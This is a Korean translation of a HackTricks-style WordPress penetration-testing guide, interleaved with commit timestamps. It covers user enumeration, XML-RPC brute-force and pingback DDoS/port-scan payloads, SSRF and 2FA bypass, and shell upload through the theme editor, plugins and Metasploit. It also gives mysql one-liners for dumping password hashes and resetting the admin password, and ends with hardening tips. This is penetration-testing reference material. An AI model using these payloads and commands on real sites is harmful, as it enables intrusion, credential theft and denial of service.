2024-03-17 16:41:54 +00:00
# 워드프레스
2022-04-28 16:01:33 +00:00
< details >
2024-03-17 16:41:54 +00:00
< summary >< strong > htARTE (HackTricks AWS Red Team Expert)</ strong > 를 통해 **제로부터 영웅까지 AWS 해킹 배우기** !</ summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2023-12-31 01:24:39 +00:00
2024-04-27 13:40:05 +00:00
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
2024-03-17 16:41:54 +00:00
* [**공식 PEASS & HackTricks 스왜그** ](https://peass.creator-spring.com )를 구매하세요
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
2024-04-27 13:40:05 +00:00
* **💬 [디스코드 그룹 ](https://discord.gg/hRep4RUj7f )** 또는 [텔레그램 그룹 ](https://t.me/peass )에 **가입**하거나 **트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**를 팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
2022-04-28 16:01:33 +00:00
< / details >
2024-04-27 13:40:05 +00:00
< figure > < img src = "../../.gitbook/assets/image (45).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-04-27 13:40:05 +00:00
[**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks )를 사용하여 세계에서 가장 **고급 커뮤니티 도구**로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
2024-02-10 21:30:13 +00:00
오늘 바로 액세스하세요:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2024-02-10 21:30:13 +00:00
## 기본 정보
2020-07-15 15:43:14 +00:00
2024-03-17 16:41:54 +00:00
**업로드된** 파일은 여기로 이동합니다: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` \
2024-04-27 13:40:05 +00:00
**테마 파일은 /wp-content/themes/에** 있으므로 테마의 일부 php를 변경하여 RCE를 얻으려면 해당 경로를 사용할 수 있습니다. 예: **twentytwelve 테마**를 사용하여 [** /wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)에서 **404.php** 파일에 액세스할 수 있습니다.\
2024-03-17 16:41:54 +00:00
**다른 유용한 URL은:** [**/wp-content/themes/default/404.php** ](http://10.11.1.234/wp-content/themes/twentytwelve/404.php )
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
**wp-config.php**에서 데이터베이스의 루트 암호를 찾을 수 있습니다.
2020-07-15 15:43:14 +00:00
2024-03-29 21:25:26 +00:00
확인할 기본 로그인 경로: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
2020-07-15 15:43:14 +00:00
2024-03-17 16:41:54 +00:00
### **주요 워드프레스 파일**
2020-11-08 15:16:09 +00:00
* `index.php`
2024-03-17 16:41:54 +00:00
* `license.txt` 에는 설치된 워드프레스 버전과 같은 유용한 정보가 포함되어 있습니다.
* `wp-activate.php` 는 새로운 워드프레스 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다.
* 로그인 폴더(숨기기 위해 이름이 변경될 수 있음):
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
2024-04-27 13:40:05 +00:00
* `xmlrpc.php` 는 WordPress의 기능을 나타내는 파일로, HTTP를 전송 메커니즘으로 사용하고 XML을 인코딩 메커니즘으로 사용합니다. 이러한 유형의 통신은 워드프레스 [REST API ](https://developer.wordpress.org/rest-api/reference )에 의해 대체되었습니다.
2024-03-17 16:41:54 +00:00
* `wp-content` 폴더는 플러그인 및 테마가 저장되는 주요 디렉토리입니다.
* `wp-content/uploads/` 는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다.
* `wp-includes/` 는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 코어 파일이 저장되는 디렉토리입니다.
* `wp-sitemap.xml` 은 워드프레스 버전 5.5 이상에서 Worpress가 모든 공개 게시물 및 공개 쿼리 가능한 게시 유형 및 분류에 대한 사이트맵 XML 파일을 생성합니다.
**포스트 익스플로잇레이션**
2024-04-27 13:40:05 +00:00
* `wp-config.php` 파일에는 데이터베이스 이름, 데이터베이스 호스트, 사용자 이름 및 암호, 인증 키 및 솔트, 데이터베이스 테이블 접두사와 같이 워드프레스가 데이터베이스에 연결하는 데 필요한 정보가 포함되어 있습니다. 이 구성 파일은 문제 해결에 유용한 디버그 모드를 활성화하는 데도 사용할 수 있습니다.
2020-11-08 15:16:09 +00:00
2024-02-10 21:30:13 +00:00
### 사용자 권한
2020-11-08 15:16:09 +00:00
2024-02-10 21:30:13 +00:00
* **관리자**
* **편집자**: 자신과 다른 사람의 게시물을 게시하고 관리합니다.
2024-04-27 13:40:05 +00:00
* **저자**: 자신의 게시물을 게시하고 관리합니다.
2024-02-10 21:30:13 +00:00
* **기고자**: 자신의 게시물을 작성하고 관리하지만 게시할 수는 없습니다.
2024-04-27 13:40:05 +00:00
* **구독자**: 게시물을 둘러보고 자신의 프로필을 편집할 수 있습니다.
2020-11-08 15:16:09 +00:00
2024-03-17 16:41:54 +00:00
## **수동 열거**
2020-11-08 15:16:09 +00:00
2024-03-17 16:41:54 +00:00
### **워드프레스 버전 확인**
2020-11-08 15:16:09 +00:00
2024-02-10 21:30:13 +00:00
`/license.txt` 또는 `/readme.html` 파일을 찾을 수 있는지 확인하세요.
2020-11-08 15:16:09 +00:00
2024-03-17 16:41:54 +00:00
페이지의 **소스 코드** (예: [https://wordpress.org/support/article/pages/ ](https://wordpress.org/support/article/pages/ )) 내에서:
2020-11-08 15:16:09 +00:00
2022-10-02 23:08:05 +00:00
* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
2020-11-08 15:16:09 +00:00
* `meta name`
2024-04-27 13:40:05 +00:00
![](< .. / . . / . gitbook / assets / image ( 1108 ) . png > )
2020-11-08 15:16:09 +00:00
2024-04-27 13:40:05 +00:00
* CSS link files
2020-11-08 15:16:09 +00:00
2024-04-27 13:40:05 +00:00
![](< .. / . . / . gitbook / assets / image ( 530 ) . png > )
2020-11-08 15:16:09 +00:00
2024-04-27 13:40:05 +00:00
* JavaScript files
2020-11-08 15:16:09 +00:00
2024-04-27 13:40:05 +00:00
![](< .. / . . / . gitbook / assets / image ( 521 ) . png > )
2020-11-08 15:16:09 +00:00
2024-02-10 21:30:13 +00:00
### 플러그인 가져오기
2020-07-15 15:43:14 +00:00
2023-10-16 18:10:45 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
2023-10-16 18:10:45 +00:00
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
2020-11-08 15:16:09 +00:00
```
2024-04-27 13:40:05 +00:00
{% endcode %}
2024-02-10 21:30:13 +00:00
### 테마 가져오기
2020-11-08 15:16:09 +00:00
2024-04-27 13:40:05 +00:00
{% code overflow="wrap" %}
2020-11-08 15:16:09 +00:00
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
2024-03-29 21:25:26 +00:00
{% endcode %}
2024-04-27 13:40:05 +00:00
### 일반적으로 버전 추출하기
{% code overflow="wrap" %}
2020-11-08 15:16:09 +00:00
```bash
2023-10-16 18:10:45 +00:00
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
2020-07-15 15:43:14 +00:00
```
2023-10-16 18:10:45 +00:00
{% endcode %}
2020-07-15 15:43:14 +00:00
2024-04-27 13:40:05 +00:00
< figure > < img src = "../../.gitbook/assets/image (45).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-04-27 13:40:05 +00:00
[**Trickest** ](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks )를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
2024-02-10 21:30:13 +00:00
오늘 바로 액세스하세요:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2024-02-10 21:30:13 +00:00
## 활성 열거
2020-11-08 15:16:09 +00:00
2024-02-10 21:30:13 +00:00
### 플러그인 및 테마
2020-11-08 15:16:09 +00:00
2024-03-29 21:25:26 +00:00
아마도 모든 플러그인 및 테마를 찾을 수는 없을 것입니다. 모든 것을 발견하려면 **플러그인 및 테마 목록을 적극적으로 브루트 포스**해야 합니다 (다행히도 이 목록을 포함하는 자동화된 도구가 있습니다).
2020-11-08 15:16:09 +00:00
2024-02-10 21:30:13 +00:00
### 사용자
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
**ID 브루트**
2020-11-08 15:16:09 +00:00
2024-03-17 16:41:54 +00:00
WordPress 사이트에서 유효한 사용자를 얻으려면 사용자 ID를 브루트 포스해야 합니다:
2021-10-18 11:21:18 +00:00
```
2020-11-08 15:16:09 +00:00
curl -s -I -X GET http://blog.example.com/?author=1
```
2024-04-27 13:40:05 +00:00
만약 응답이 **200** 또는 **30X**이면, id가 **유효**하다는 것을 의미합니다. 응답이 **400**이면, id가 **유효하지 않습니다** .
2020-11-08 15:16:09 +00:00
2022-04-28 23:27:22 +00:00
**wp-json**
2020-11-08 15:16:09 +00:00
2024-04-27 13:40:05 +00:00
또한 쿼리를 사용하여 사용자에 대한 정보를 얻을 수도 있습니다:
2021-10-18 11:21:18 +00:00
```
2020-11-08 15:16:09 +00:00
curl http://blog.example.com/wp-json/wp/v2/users
```
2024-04-27 13:40:05 +00:00
다른 사용자에 관한 일부 정보를 공개할 수 있는 `/wp-json/` 엔드포인트는 다음과 같습니다:
2023-10-25 23:42:52 +00:00
```
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
2024-03-17 16:41:54 +00:00
이 엔드포인트는 게시물을 작성한 사용자만 노출됩니다. **이 기능을 활성화한 사용자에 대한 정보만 제공됩니다** .
2023-12-27 23:58:16 +00:00
2024-03-17 16:41:54 +00:00
또한 ** /wp-json/wp/v2/pages**에서 IP 주소가 노출될 수 있습니다.
2020-11-08 15:16:09 +00:00
2024-03-17 16:41:54 +00:00
#### 로그인 사용자 이름 열거
2022-10-02 23:08:05 +00:00
2024-03-17 16:41:54 +00:00
**`/wp-login.php`**에 로그인할 때 **메시지**는 **지정된 사용자 이름이 존재하는지 여부에 따라 다릅니다** .
2020-07-15 15:43:14 +00:00
2022-05-01 16:57:45 +00:00
### XML-RPC
2020-07-15 15:43:14 +00:00
2024-04-27 13:40:05 +00:00
`xml-rpc.php` 가 활성화되어 있다면 자격 증명 브루트 포스를 수행하거나 다른 리소스로의 DoS 공격을 실행할 수 있습니다. (예를 들어 [여기 ](https://github.com/relarizky/wpxploit )를 사용하여이 프로세스를 자동화할 수 있습니다).
2020-07-15 15:43:14 +00:00
2024-03-17 16:41:54 +00:00
활성화되어 있는지 확인하려면 _**/xmlrpc.php**_에 액세스하고 이 요청을 보냅니다:
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
**확인**
2020-07-15 15:43:14 +00:00
```markup
< methodCall >
< methodName > system.listMethods< / methodName >
< params > < / params >
< / methodCall >
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
2024-03-17 16:41:54 +00:00
**자격 증명 브루트포스**
2020-07-15 15:43:14 +00:00
2024-04-27 13:40:05 +00:00
**`wp.getUserBlogs`**, ** `wp.getCategories` ** 또는 ** `metaWeblog.getUsersBlogs` **는 자격 증명을 브루트포스하는 데 사용할 수 있는 몇 가지 방법입니다. 그 중 하나를 찾을 수 있다면 다음과 같이 보낼 수 있습니다:
2020-07-15 15:43:14 +00:00
```markup
< methodCall >
< methodName > wp.getUsersBlogs< / methodName >
< params >
< param > < value > admin< / value > < / param >
< param > < value > pass< / value > < / param >
< / params >
< / methodCall >
```
2024-04-27 13:40:05 +00:00
메시지 _"잘못된 사용자 이름 또는 비밀번호"_은 200 코드 응답 내에서 유효하지 않은 자격 증명일 때 나타납니다.
2020-07-15 15:43:14 +00:00
2024-04-27 13:40:05 +00:00
![](< .. / . . / . gitbook / assets / image ( 107 ) ( 2 ) ( 2 ) ( 2 ) ( 2 ) ( 2 ) ( 2 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 )
2022-10-08 16:35:25 +00:00
```markup
<?xml version='1.0' encoding='utf-8'?>
< methodCall >
2024-02-10 21:30:13 +00:00
< methodName > wp.uploadFile< / methodName >
< params >
< param > < value > < string > 1< / string > < / value > < / param >
< param > < value > < string > username< / string > < / value > < / param >
< param > < value > < string > password< / string > < / value > < / param >
< param >
< value >
< struct >
< member >
< name > name< / name >
< value > < string > filename.jpg< / string > < / value >
< / member >
< member >
< name > type< / name >
< value > < string > mime/type< / string > < / value >
< / member >
< member >
< name > bits< / name >
< value > < base64 > <![CDATA[---base64-encoded-data---]]> < / base64 > < / value >
< / member >
< / struct >
< / value >
< / param >
< / params >
2022-10-08 16:35:25 +00:00
< / methodCall >
```
2024-04-27 13:40:05 +00:00
또한 ** `system.multicall` **을 사용하여 여러 자격 증명을 동시에 시도할 수 있기 때문에 자격 증명을 빠르게 브루트 포스하는 **보다 빠른 방법**이 있습니다:
2020-07-15 15:43:14 +00:00
2024-04-27 13:40:05 +00:00
< figure > < img src = "../../.gitbook/assets/image (625).png" alt = "" > < figcaption > < / figcaption > < / figure >
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
**2FA 우회**
2022-02-09 20:26:27 +00:00
2024-04-27 13:40:05 +00:00
이 방법은 프로그램을 위한 것이며 사람을 위한 것이 아니며 오래되어 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 본 입구가 2FA로 보호되어 있다면, **xmlrpc.php를 남용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을 수도** 있습니다. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s ](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s )에서 설명한 대로 RCE에 도달할 수도 있습니다.
2020-07-15 15:43:14 +00:00
2024-03-17 16:41:54 +00:00
**DDoS 또는 포트 스캔**
2020-07-15 15:43:14 +00:00
2024-04-27 13:40:05 +00:00
목록 내에서 _**pingback.ping**_ 메서드를 찾을 수 있다면 Wordpress에게 임의의 요청을 보내도록 할 수 있습니다.\
이를 사용하여 수천 개의 Wordpress **사이트**가 한 **위치**에 **액세스**하도록 요청하거나 **Wordpress**가 일부 내부 **네트워크**를 **스캔**하도록 만들 수 있습니다(임의의 포트를 지정할 수 있음).
2020-07-15 15:43:14 +00:00
```markup
< methodCall >
< methodName > pingback.ping< / methodName >
< params > < param >
< value > < string > http://< YOUR SERVER > :< port > < / string > < / value >
< / param > < param > < value > < string > http://< SOME VALID BLOG FROM THE SITE > < / string >
< / value > < / param > < / params >
< / methodCall >
```
2024-03-17 16:41:54 +00:00
![](../../.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
2020-07-15 15:43:14 +00:00
2024-04-27 13:40:05 +00:00
만약 **faultCode** 값이 **0** (17)보다 **큰** 값으로 나오면, 해당 포트는 열려 있다는 뜻입니다.
2020-07-15 15:43:14 +00:00
2024-03-17 16:41:54 +00:00
**`system.multicall`**의 사용법을 살펴보고, 이 방법을 악용하여 DDoS를 유발하는 방법을 배워보세요.
2020-07-15 15:43:14 +00:00
2022-12-09 14:47:58 +00:00
**DDoS**
2020-07-15 15:43:14 +00:00
```markup
< methodCall >
2024-02-10 21:30:13 +00:00
< methodName > pingback.ping< / methodName >
< params >
< param > < value > < string > http://target/< / string > < / value > < / param >
< param > < value > < string > http://yoursite.com/and_some_valid_blog_post_url< / string > < / value > < / param >
< / params >
2020-07-15 15:43:14 +00:00
< / methodCall >
```
2024-04-27 13:40:05 +00:00
![](< .. / . . / . gitbook / assets / image ( 107 ) . png > )
2020-07-15 15:43:14 +00:00
2022-12-09 14:47:58 +00:00
### wp-cron.php DoS
2024-02-10 21:30:13 +00:00
이 파일은 일반적으로 워드프레스 사이트의 루트 아래에 존재합니다: ** `/wp-cron.php` **\
2024-03-17 16:41:54 +00:00
이 파일에 **액세스**하면 "**무거운** " MySQL **쿼리**가 수행되므로, **공격자**가 **DoS**를 **발생**시키는 데 사용할 수 있습니다.\
2024-04-27 13:40:05 +00:00
또한 기본적으로 `wp-cron.php` 은 모든 페이지 로드(클라이언트가 워드프레스 페이지를 요청할 때마다)마다 호출되며, 고트래픽 사이트에서 문제를 일으킬 수 있습니다 (DoS).
2022-12-09 14:47:58 +00:00
2024-04-27 13:40:05 +00:00
Wp-Cron을 비활성화하고 호스트 내에서 필요한 작업을 정기적으로 수행하는 실제 cronjob을 생성하는 것이 좋습니다 (문제를 일으키지 않고).
2022-12-09 14:47:58 +00:00
2022-05-01 16:57:45 +00:00
### /wp-json/oembed/1.0/proxy - SSRF
2020-07-15 15:43:14 +00:00
2024-03-17 16:41:54 +00:00
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_에 액세스를 시도하면 워드프레스 사이트가 요청을 보낼 수 있습니다.
2020-07-15 15:43:14 +00:00
2024-04-27 13:40:05 +00:00
작동하지 않을 때의 응답:
2020-07-15 15:43:14 +00:00
2024-04-27 13:40:05 +00:00
![](< .. / . . / . gitbook / assets / image ( 362 ) . png > )
2020-07-15 15:43:14 +00:00
2022-05-01 16:57:45 +00:00
### SSRF
2020-07-15 15:43:14 +00:00
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
2024-04-27 13:40:05 +00:00
이 도구는 **methodName: pingback.ping**을 확인하고 경로 ** /wp-json/oembed/1.0/proxy**가 있는지 확인한 후, 존재하면 이를 악용하려고 시도합니다.
2020-11-08 15:16:09 +00:00
2024-03-17 16:41:54 +00:00
### Automatic Tools
2020-11-08 15:16:09 +00:00
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
2022-02-09 20:26:27 +00:00
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token < API_TOKEN > --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
2020-11-08 15:16:09 +00:00
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
2024-04-27 13:40:05 +00:00
< figure > < img src = "../../.gitbook/assets/image (45).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-04-27 13:40:05 +00:00
[**Trickest** ](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks )를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
2024-03-17 16:41:54 +00:00
오늘 바로 액세스하세요:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2024-02-10 21:30:13 +00:00
## 비트를 덮어쓰기로 액세스 얻기
2022-06-23 12:12:25 +00:00
2024-04-27 13:40:05 +00:00
실제 공격보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man ](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man )에서는 워드프레스 파일에서 1 비트를 뒤집을 수 있습니다. 따라서 파일 `/var/www/html/wp-includes/user.php` 의 위치 `5389` 를 뒤집어서 NOT (`!`) 연산을 NOP으로 만들 수 있습니다.
2022-06-23 12:12:25 +00:00
```php
2024-02-10 21:30:13 +00:00
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
2022-06-23 12:12:25 +00:00
```
2024-02-10 21:30:13 +00:00
## **패널 RCE**
2022-06-23 12:12:25 +00:00
2024-03-17 16:41:54 +00:00
**사용된 테마의 php 수정 (관리자 자격 증명 필요)**
2020-07-15 15:43:14 +00:00
2024-04-27 13:40:05 +00:00
외관 → 테마 편집기 → 404 템플릿 (오른쪽에 위치)
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
php 쉘을 위한 내용 변경:
2020-07-15 15:43:14 +00:00
2024-04-27 13:40:05 +00:00
![](< .. / . . / . gitbook / assets / image ( 381 ) . png > )
2024-03-29 21:25:26 +00:00
2024-04-27 13:40:05 +00:00
인터넷에서 어떻게 해당 업데이트된 페이지에 액세스할 수 있는지 검색하십시오. 이 경우 여기에 액세스해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php ](http://10.11.1.234/wp-content/themes/twentytwelve/404.php )
2020-07-15 15:43:14 +00:00
2022-05-01 16:57:45 +00:00
### MSF
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
다음을 사용할 수 있습니다:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
use exploit/unix/webapp/wp_admin_shell_upload
```
2024-02-10 21:30:13 +00:00
## 플러그인 RCE
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
### PHP 플러그인
2020-12-27 11:12:11 +00:00
2024-03-17 16:41:54 +00:00
플러그인으로 .php 파일을 업로드할 수 있습니다.\
예를 들어 다음과 같이 php 백도어를 만듭니다:
2020-12-27 11:12:11 +00:00
2024-04-27 13:40:05 +00:00
![](< .. / . . / . gitbook / assets / image ( 180 ) . png > )
2020-12-27 11:12:11 +00:00
2024-02-10 21:30:13 +00:00
그런 다음 새 플러그인을 추가합니다:
2020-12-27 11:12:11 +00:00
2024-04-27 13:40:05 +00:00
![](< .. / . . / . gitbook / assets / image ( 719 ) . png > )
2020-12-27 11:12:11 +00:00
2024-02-10 21:30:13 +00:00
플러그인을 업로드하고 지금 설치를 누릅니다:
2020-12-27 11:12:11 +00:00
2024-04-27 13:40:05 +00:00
![](< .. / . . / . gitbook / assets / image ( 246 ) . png > )
2020-12-27 11:12:11 +00:00
2024-02-10 21:30:13 +00:00
Procced를 클릭합니다:
2020-12-27 11:12:11 +00:00
2024-04-27 13:40:05 +00:00
![](< .. / . . / . gitbook / assets / image ( 67 ) . png > )
2020-12-27 11:12:11 +00:00
2024-04-27 13:40:05 +00:00
아마도 이것은 외관상 아무것도 하지 않을 것입니다, 그러나 미디어로 이동하면 업로드된 쉘을 볼 수 있습니다:
2020-12-27 11:12:11 +00:00
2024-04-27 13:40:05 +00:00
![](< .. / . . / . gitbook / assets / image ( 459 ) . png > )
2020-12-27 11:12:11 +00:00
2024-03-17 16:41:54 +00:00
액세스하면 역술을 실행할 URL을 볼 수 있습니다:
2020-12-27 11:12:11 +00:00
2024-04-27 13:40:05 +00:00
![](< .. / . . / . gitbook / assets / image ( 1003 ) . png > )
2020-12-27 11:12:11 +00:00
2024-02-10 21:30:13 +00:00
### 악성 플러그인 업로드 및 활성화
2020-12-27 11:12:11 +00:00
2024-03-17 16:41:54 +00:00
이 방법은 취약하다고 알려진 악성 플러그인을 설치하고 웹 쉘을 얻기 위해 악용할 수 있는 방법입니다. 이 프로세스는 다음과 같이 WordPress 대시보드를 통해 수행됩니다:
2020-12-27 11:12:11 +00:00
2024-03-17 16:41:54 +00:00
1. **플러그인 획득** : 플러그인은 [**여기** ](https://www.exploit-db.com/exploits/36374 )와 같은 Exploit DB와 같은 소스에서 얻습니다.
2024-02-10 21:30:13 +00:00
2. **플러그인 설치** :
2024-03-17 16:41:54 +00:00
* WordPress 대시보드로 이동한 다음 `대시보드 > 플러그인 > 플러그인 업로드` 로 이동합니다.
* 다운로드한 플러그인의 zip 파일을 업로드합니다.
2024-02-10 21:30:13 +00:00
3. **플러그인 활성화** : 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다.
4. **악용** :
2024-03-17 16:41:54 +00:00
* "reflex-gallery" 플러그인이 설치되고 활성화된 경우 취약점을 악용할 수 있습니다.
2024-04-27 13:40:05 +00:00
* Metasploit 프레임워크는 이 취약점에 대한 악용을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하여 미터프리터 세션을 설정할 수 있으며, 이를 통해 사이트에 무단 액세스를 부여할 수 있습니다.
2024-03-29 21:25:26 +00:00
* WordPress 사이트를 악용하는 다양한 방법 중 하나임을 언급합니다.
2020-12-27 11:12:11 +00:00
2024-04-27 13:40:05 +00:00
콘텐츠에는 WordPress 대시보드에서 플러그인을 설치하고 활성화하는 단계를 보여주는 시각적 지원이 포함되어 있습니다. 그러나 이러한 취약점을 악용하는 것은 적법한 권한이 없는 경우 불법이며 윤리적으로 문제가 있습니다. 이 정보는 책임 있게 사용되어야 하며 명시적인 허가를 받은 펜테스팅과 같은 법적 맥락에서만 사용해야 합니다.
2020-12-27 11:12:11 +00:00
2024-03-17 16:41:54 +00:00
**더 자세한 단계는 확인하세요:** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\*** ](https://www.hackingarticles.in/wordpress-reverse-shell/ )
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
## 사후 악용
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
사용자 이름과 비밀번호 추출:
2020-11-08 15:16:09 +00:00
```bash
2020-07-15 15:43:14 +00:00
mysql -u < USERNAME > --password=< PASSWORD > -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
2024-04-27 13:40:05 +00:00
### Change admin password:
### 관리자 비밀번호 변경:
2020-11-08 15:16:09 +00:00
```bash
2020-07-15 15:43:14 +00:00
mysql -u < USERNAME > --password=< PASSWORD > -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
2024-02-10 21:30:13 +00:00
## 워드프레스 보호
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
### 정기적인 업데이트
2020-11-08 15:16:09 +00:00
2024-03-17 16:41:54 +00:00
워드프레스, 플러그인 및 테마가 최신 상태인지 확인하십시오. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하십시오:
2020-11-08 15:16:09 +00:00
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
2024-03-17 16:41:54 +00:00
또한 **신뢰할 수 있는 워드프레스 플러그인과 테마만 설치**하십시오.
2020-11-08 15:16:09 +00:00
2024-02-10 21:30:13 +00:00
### 보안 플러그인
2020-11-08 15:16:09 +00:00
2022-02-09 18:48:09 +00:00
* [**Wordfence Security** ](https://wordpress.org/plugins/wordfence/ )
* [**Sucuri Security** ](https://wordpress.org/plugins/sucuri-scanner/ )
* [**iThemes Security** ](https://wordpress.org/plugins/better-wp-security/ )
2020-11-08 15:16:09 +00:00
2024-02-10 21:30:13 +00:00
### **기타 권장 사항**
2020-11-08 15:16:09 +00:00
2024-02-10 21:30:13 +00:00
* 기본 **admin** 사용자 제거
2024-03-17 16:41:54 +00:00
* **강력한 암호** 및 **2단계 인증** 사용
2024-02-10 21:30:13 +00:00
* 주기적으로 사용자 **권한 검토**
* 브루트 포스 공격 방지를 위해 **로그인 시도 제한**
